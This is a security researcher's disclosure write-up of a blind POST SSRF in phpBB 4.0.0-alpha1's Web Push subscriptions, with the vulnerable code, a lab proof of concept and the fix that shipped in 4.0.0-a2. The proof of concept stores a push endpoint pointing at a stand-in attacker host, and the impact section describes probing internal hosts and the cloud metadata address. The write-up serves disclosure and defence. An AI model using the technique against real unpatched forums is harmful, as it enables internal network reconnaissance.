Blind POST SSRF in phpBB 4.0.0-alpha1 Web Push (CVD with phpBB)
A registered phpBB 4.0.0-alpha1 user could point Web Push at any URL; the server fetched it. Coordinated disclosure; fixed in phpBB 4.0.0-a2.
| Severity | Medium — CVSS 3.1: 5.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N) (per phpBB) |
| Asset | phpbb/phpbb — Web Push notification subsystem |
| Affected | phpBB 4.0.0-alpha1 (commit 4a57f1ff3c) |
| Fixed in | phpBB 4.0.0-a2 (2026-04-27) |
| CVE | None assigned |
TL;DR (for the non-technical reader)
phpBB is one of the longest-running open-source forum platforms. Its upcoming 4.0 line ships browser Web Push notifications so users can get pinged in real time when someone replies to them. The 4.0.0-alpha1 release stored the push endpoint — the URL the server is supposed to POST notifications to — exactly as the user’s browser sent it, without checking what URL it actually pointed to.
A registered (non-admin) user could subscribe themselves with a push endpoint pointed at any URL: an attacker-controlled server, an internal host that the public internet can’t reach, anything. Once any event triggered a notification for that user (a reply, a quote, a private message), the phpBB server made the outbound POST to that URL. We reported it via HackerOne; phpBB fixed it in 4.0.0-a2 by adding an HTTPS-only allowlist of known push services.
What’s vulnerable
phpBB’s Web Push subsystem
was introduced in 4.0 to replace the legacy Jabber notification method (which
the 4.0 migration explicitly removes). The browser registers via the W3C Push
API, posts the resulting subscription (endpoint, p256dh, auth) to
/user/push/subscribe, and phpBB persists it in the phpbb_push_subscriptions
table. On any notification event, phpBB looks up the user’s stored endpoint and
ships an encrypted Web Push payload via the
Minishlink/web-push PHP
library, which uses Guzzle under the hood.
The W3C Push API expects the endpoint to be a URL of a push service —
fcm.googleapis.com, updates.push.services.mozilla.com, notify.windows.com,
web.push.apple.com. phpBB 4.0.0-alpha1 never enforced that. The user-supplied
string went straight into the database.
Attack flow
flowchart LR U["registered user (attacker)"]:::accent S["POST /user/push/subscribe
endpoint = http://internal-host:8080"]:::n D["phpbb_push_subscriptions
(no URL validation)"]:::n E["any notification event
(reply, quote, PM)"]:::n W["Minishlink WebPush → Guzzle"]:::n T["attacker / internal host
receives POST"]:::alert U --> S --> D E --> W -- "reads endpoint from DB" --> D W -- "POST + 3KB encrypted payload" --> T classDef n fill:#1A1A1C,stroke:#2A2A2D,color:#EDEAE3 classDef accent fill:#0A0A0B,stroke:#FF4A1C,color:#EDEAE3 classDef alert fill:#0A0A0B,stroke:#E8342B,color:#EDEAE3
Vulnerable code path
Subscription persistence — phpBB/phpbb/ucp/controller/webpush.php inside subscribe(), around line 321:
$sql = 'INSERT INTO ' . $this->push_subscriptions_table . ' '
. $this->db->sql_build_array('INSERT', [
'user_id' => $this->user->id(),
'endpoint' => $data['endpoint'], // ← user-supplied, no URL validation
// ...
]);
Outbound request — phpBB/phpbb/notification/method/webpush.php around line 248, in the notification dispatch:
$push_subscription = Subscription::create([
'endpoint' => $subscription['endpoint'], // from DB, unvalidated
]);
$web_push->queueNotification($push_subscription, $json_data);
The Subscription model is Minishlink\WebPush\Subscription; queueNotification
then drives Guzzle to issue the outbound POST with VAPID-signed headers and the
encrypted payload to the URL that was stored at subscribe time.
Why the prerequisites are weaker than they look
webpush_enable defaults to false on fresh install, so an out-of-the-box
phpBB 4.0.0-a1 isn’t vulnerable. But webpush_method_default_enable defaults
to true — the moment an admin flips Web Push on (configures VAPID keys and
enables the feature in ACP → Board settings), every existing user has the
method active by default. There’s no per-user opt-in step gating this; the
model is opt-out.
The Jabber callback
phpBB has seen this bug class before. In 2020,
HackerOne #1018568 reported SSRF via
the Jabber notification settings — jab_host and jab_port were admin-only
fields that fed an outbound connection. The phpBB 4.0 migration removed Jabber
outright, and Web Push was added as the modern replacement.
The interesting structural point: the new feature inherits the same outbound-URL-from-config bug class but moves the privilege boundary down — from “admin must configure the server URL” to “any registered user configures their own”. Same root pattern, lower bar.
Proof of concept — verified live
Setup: phpBB 4.0.0-alpha1 in Docker (PHP 8.2 + MySQL 8.0). Enable Web Push:
UPDATE phpbb_config SET config_value = '1' WHERE config_name = 'webpush_enable';
-- VAPID keys generated via Minishlink\WebPush\VAPID::createVapidKeys()
As a registered user, subscribe to Web Push in the browser, intercept the
request to /user/push/subscribe, and replace the endpoint field with the
URL you control. The P-256 ECDH p256dh and auth keys must be valid; they
are trivially generated. Equivalent direct DB insertion for the lab:
INSERT INTO phpbb_push_subscriptions (user_id, endpoint, p256dh, auth)
VALUES (2, 'http://attacker-server:9999/ssrf-poc', '<valid_p256dh>', '<valid_auth>');
Trigger any notification for that user (a reply, a quote, a PM). The attacker’s HTTP listener receives:
POST /ssrf-poc HTTP/1.1
Host: attacker-server:9999
User-Agent: GuzzleHttp/7
Content-Type: application/octet-stream
Content-Encoding: aesgcm
Authorization: WebPush eyJ0eXAi...
Content-Length: 3070
A full, well-formed Web Push request — encrypted payload, VAPID JWT, ECDH headers — directed at the attacker’s URL.
Calibrated impact
This is a blind POST SSRF. No response body is returned to the attacker. The request body is a fixed ~3 KB WebPush-encrypted blob; the attacker cannot meaningfully shape it to target arbitrary internal APIs. The real residual capability is:
- Internal network probing. By varying host and port across multiple subscriptions, a registered user can infer which internal hosts and ports are reachable from the phpBB server via connection timing and error behaviour.
- Reachability of cloud metadata services. On cloud-hosted instances, a
registered user can confirm whether
169.254.169.254is reachable from the phpBB host — but cannot read its response. Standalone, this bug does not exfiltrate IAM credentials. - Server-attributed outbound traffic. Any logging or rate-limit decisions made by external services see phpBB’s IP, not the attacker’s.
What this isn’t: not a remote pre-auth bug (registered user is required); not an RCE; not a way to read internal HTTP responses on its own.
The fix — what 4.0.0-a2 changed
The fix landed on master via merge commit
df53088 —
“Merge pull request #77 from phpbb/ticket/security-288” — on
2026-04-26, then shipped in the phpBB 4.0.0-a2 release tag pushed on
2026-04-27 via
b6e0404.
The change is a new verify_endpoint() method in the UCP controller, called
before the database insert:
// phpBB/phpbb/ucp/controller/webpush.php (post-fix, 4.0.0-a2)
public function subscribe(symfony_request $symfony_request): JsonResponse
{
$this->check_subscribe_requests();
$data = json_sanitizer::decode($symfony_request->attributes->get('data', ''));
if (!$this->verify_endpoint($data['endpoint']))
{
throw new http_exception(Response::HTTP_BAD_REQUEST, 'NOTIFY_WEB_PUSH_UNSUPPORTED_SERVICE');
}
// ... existing INSERT into $push_subscriptions_table ...
}
protected function verify_endpoint(string $endpoint): bool
{
$parts = parse_url($endpoint);
// Basic URL structural check
if (!$parts || !isset($parts['scheme'], $parts['host']))
{
return false;
}
// MUST be HTTPS: https://datatracker.ietf.org/doc/html/rfc8030#section-8
if (strtolower($parts['scheme']) !== 'https')
{
return false;
}
// Only allow endpoints for known push services (e.g. Mozilla, Google)
$allowed_services = [
'android.googleapis.com',
'fcm.googleapis.com',
'updates.push.services.mozilla.com',
'updates-autopush.stage.mozaws.net',
'updates-autopush.dev.mozaws.net',
'.notify.windows.com',
'.push.apple.com',
];
// Extensible via core.ucp_webpush_controller_verify_endpoint event
foreach ($allowed_services as $allowed_host)
{
if (str_ends_with(strtolower($parts['host']), $allowed_host))
{
return true;
}
}
return false;
}
Three things worth noting about the shape of the fix:
- HTTPS-only. The scheme check enforces RFC 8030 §8, the Push Protocol spec.
- Host allowlist, not blocklist. The fix doesn’t try to reject “internal” hosts via IP filtering — it inverts the model to a small allowlist of real push-service domains. This is the right call: blocklists for SSRF are notoriously bug-prone (DNS rebinding, IPv6 mapping, link-local addresses, redirects).
- Extension hook. phpBB exposes a
core.ucp_webpush_controller_verify_endpointevent so extensions can add additional allowed services without forking core. Good upstream hygiene for an open-source product that ships extensions as a first-class concept.
A failed check returns HTTP 400 with the language key NOTIFY_WEB_PUSH_UNSUPPORTED_SERVICE.
phpBB also explicitly declined to request a CVE for this issue, citing that 4.0.0-alpha1 is a pre-production alpha release and that CVE assignment for pre-release software falls outside their standard practice.
Before / after
Before — phpBB 4.0.0-a1:
flowchart LR U1["user submits
endpoint"]:::accent P1["no URL
validation"]:::alert DB1["DB insert
(any URL)"]:::n O1["Guzzle POST to
user-controlled URL"]:::alert U1 --> P1 --> DB1 --> O1 classDef n fill:#1A1A1C,stroke:#2A2A2D,color:#EDEAE3 classDef accent fill:#0A0A0B,stroke:#FF4A1C,color:#EDEAE3 classDef alert fill:#0A0A0B,stroke:#E8342B,color:#EDEAE3
After — phpBB 4.0.0-a2:
flowchart LR U2["user submits
endpoint"]:::accent P2["verify_endpoint():
parse_url + https +
host allowlist"]:::n R{"allowed?"}:::n DB2["DB insert"]:::n O2["Guzzle POST to
real push service"]:::n X["HTTP 400
NOTIFY_WEB_PUSH_UNSUPPORTED_SERVICE"]:::accent U2 --> P2 --> R R -->|yes| DB2 --> O2 R -->|no| X classDef n fill:#1A1A1C,stroke:#2A2A2D,color:#EDEAE3 classDef accent fill:#0A0A0B,stroke:#FF4A1C,color:#EDEAE3 classDef alert fill:#0A0A0B,stroke:#E8342B,color:#EDEAE3
Timeline
| Date (UTC) | Event |
|---|---|
| 2026-03-16 | Reported to phpBB VDP via HackerOne (#3608558) |
| 2026-03-17 | Triaged by phpBB staff; severity Medium / CVSS 5.0 |
| 2026-04-26 | Fix merged to master (df53088, PR #77, ticket security-288) |
| 2026-04-27 | phpBB 4.0.0-a2 released (b6e0404) |
| 2026-04-29 | HackerOne report marked Resolved |
| 2026-05-30 | Publicly disclosed on HackerOne |
| 2026-05-31 | This writeup published |
Web Push replaced Jabber. The bug class came along for the ride — with a lower privilege bar.
— Syntetisk research (misop00p)